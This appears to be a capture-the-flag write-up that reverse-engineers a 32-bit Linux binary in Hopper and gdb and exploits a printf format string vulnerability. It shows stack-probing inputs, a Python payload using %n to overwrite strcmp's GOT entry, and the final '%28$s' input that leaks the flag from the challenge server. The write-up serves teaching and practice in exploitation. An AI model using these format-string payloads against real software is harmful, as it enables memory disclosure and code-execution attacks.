We were given this binary: judgement-4da7533784aa31b96ca158fbda9677ee8507781ead6625dc6d577fd5d2ff697c
I downloaded it onto my Mac. The file command shows that this is a 32-bit Linux executable:
I clicked File, "Read Executable to Disassemble..." and loaded the file into Hopper.
There are five strings in this program, as shown below. Looking at the right, I can see three modules: "init", "main", and "load_flag".
Double-clicking init+115 on the right side shows the code that uses this string. On the top right, notice the icon outlined in green in the image below.
Clicking that icon outputs pseudocode for this routine, which looks like C, as shown below.
This routine calls "load_flag", and returns an error message if it fails.
Repeating the process, starting from the strings, I entered "load_flag" and got its pseudocode.
This just reads the flag string from a file.
We covered format string vulnerabilities in CNIT 127's Chapter 4 lecture, here:
Since the programmer did not enter a format string, and printed user input, the user can enter format strings like "%x" and "%n" to read from, and write to, memory.
Running the program shows this error:
This is typical for CTFs. The challenge server contains a "flag.txt" file with the real flag, but to test it I need to make a fake flag file.
I put a file named "flag.txt" containing "0123456789" in the program's directory.
The normal process for exploiting a format string vulnerability is to use the "%n" format to write to arbitrary memory, overwrite a function pointer, and execute injected shellcode, as detailed in this project.
The next step is to find a parameter on the stack I can control. I tried this string:
AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.I can read the first 14 items on the stack, but none of them contain the "AAAA" string:
AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.But I hit a limit--the string can't be longer than about 80 characters. That's not enough room to inject shellcode and execute it.
However, I could simply redirect execution to the part of the code that prints out the flag. To do that, I still need to find the parameter that contains my injected text. Since I can't use a long string of "%x" format codes, I switched to the "%number$x" format, like this:
AAAA.%40$x.%41$x.%42$x.%43$xNow I see that parameter 43 contains the injected "AAAA", in its hexadecimal form of "41414141".
In Kali, I executed these commands to open the file in the gdb disassembler, and view the assembly code for the "main" routine:
Here's the disassembled code, with my notes on the right side in capital letters.
gdb ./jud disassemble main
After the format string vulnerability, it calls "strcmp". So if I can change the address of "strcmp", I can alter the code execution.
Dump of assembler code for function main: 0x0804872b <.+0>: lea 0x4(%esp),%ecx 0x0804872f <.+4>: and $0xfffffff0,%esp 0x08048732 <.+7>: pushl -0x4(%ecx) 0x08048735 <.+10>: push %ebp 0x08048736 <.+11>: mov %esp,%ebp 0x08048738 <.+13>: push %ebx 0x08048739 <.+14>: push %ecx 0x0804873a <.+15>: sub $0x60,%esp 0x0804873d <.+18>: mov %gs:0x14,%eax 0x08048743 <.+24>: mov %eax,-0xc(%ebp) 0x08048746 <.+27>: xor %eax,%eax 0x08048748 <.+29>: mov $0x10,%eax 0x0804874d <.+34>: sub $0x1,%eax 0x08048750 <.+37>: add $0x8f,%eax 0x08048755 <.+42>: mov $0x10,%ebx 0x0804875a <.+47>: mov $0x0,%edx 0x0804875f <.+52>: div %ebx 0x08048761 <.+54>: imul $0x10,%eax,%eax 0x08048764 <.+57>: sub %eax,%esp 0x08048766 <.+59>: movl $0x80489a8,(%esp) 0x0804876d <.+66>: call 0x80484e0 <.printf@plt> "INPUT FLAG" MESSAGE 0x08048772 <.+71>: movl $0x40,0x4(%esp) 0x0804877a <.+79>: lea -0x4c(%ebp),%eax 0x0804877d <.+82>: mov %eax,(%esp) 0x08048780 <.+85>: call 0x8048869 <.getnline> READ INPUT 0x08048785 <.+90>: test %eax,%eax 0x08048787 <.+92>: jne 0x804879c <.main+113> 0x08048789 <.+94>: movl $0x80489cc,(%esp) 0x08048790 <.+101>: call 0x8048530 <.puts@plt> ERROR: UNPRINTABLE CHARACTER 0x08048795 <.+106>: mov $0xffffffff,%eax 0x0804879a <.+111>: jmp 0x80487d8 <.main+173> 0x0804879c <.+113>: lea -0x4c(%ebp),%eax 0x0804879f <.+116>: mov %eax,(%esp) 0x080487a2 <.+119>: call 0x80484e0 <.printf@plt> FORMAT STRING VULN HERE 0x080487a7 <.+124>: movl $0x804a0a0,0x4(%esp) 0x080487af <.+132>: lea -0x4c(%ebp),%eax 0x080487b2 <.+135>: mov %eax,(%esp) 0x080487b5 <.+138>: call 0x80484d0 <.strcmp@plt> IT CALLS STRCMP HERE 0x080487ba <.+143>: test %eax,%eax 0x080487bc <.+145>: je 0x80487cc <.main+161> 0x080487be <.+147>: movl $0x80489e2,(%esp) "\nWrong flag..." 0x080487c5 <.+154>: call 0x8048530 <.puts@plt> IT CALLS PUTS HERE 0x080487ca <.+159>: jmp 0x80487d8 <.main+173> 0x080487cc <.+161>: movl $0x80489f1,(%esp) "CORRECT FLAG" 0x080487d3 <.+168>: call 0x8048530 <.puts@plt> IT CALLS PUTS HERE 0x080487d8 <.+173>: mov -0xc(%ebp),%ecx 0x080487db <.+176>: xor %gs:0x14,%ecx 0x080487e2 <.+183>: je 0x80487e9 <.main+190> 0x080487e4 <.+185>: call 0x8048520 <.__stack_chk_fail@plt> 0x080487e9 <.+190>: lea -0x8(%ebp),%esp 0x080487ec <.+193>: pop %ecx 0x080487ed <.+194>: pop %ebx 0x080487ee <.+195>: pop %ebp 0x080487ef <.+196>: lea -0x4(%ecx),%esp 0x080487f2 <.+199>: ret
I used objdump to print the Dynamic Relocation Records. As shown below, "strcmp" is at location 0x0804a010.
I ran that program, putting the output into a file named "e2", and used it as input to the "jud" program. However, the program rejected the input because it contains unprintable characters!
#!/usr/bin/env python print '\x10\xa0\x04\x08%42$x%n'
I tested more characters, as shown below, and found that all bytes below 0x20 are rejected except for 0x0a.
However, perhaps I can find an address that's already on the stack and use it.
Consider this code in main:
It loads the address 0x0804a0a0 onto the stack, as the second parameter for "strcmp". Evidently that address contains the correct flag.
0x080487a2 <.+119>: call 0x80484e0 <.printf@plt> FORMAT STRING VULN HERE 0x080487a7 <.+124>: movl $0x804a0a0,0x4(%esp) 0x080487af <.+132>: lea -0x4c(%ebp),%eax 0x080487b2 <.+135>: mov %eax,(%esp) 0x080487b5 <.+138>: call 0x80484d0 <.strcmp@plt> IT CALLS STRCMP HERE
I used these commands to load the program in gdb, place a breakpoint just after the format string is used, and run:
I input a flag guess of "ABC", and the program hit its breakpoint. The "info registers" command shows the values of esp and ebp, as shown below.
gdb ./jud b * main+124 run
I used these commands to view the memory near 0x0804a0a0, and the stack:
As shown below, the flag is in fact at 0x0804a0a0, and the 28th word on the stack points to that address.
x/4x 0x0804a0a0 x/30x $esp
So if I run the program outside gdb and enter "%28$x", I'll see the 28th item on the stack, as shown below.
And entering "%28$s" prints the string that address points to, which is the flag! This, of course, is the fake flag I put on my machine.
Connecting to the real challenge server and entering "%28$s" shows the real flag!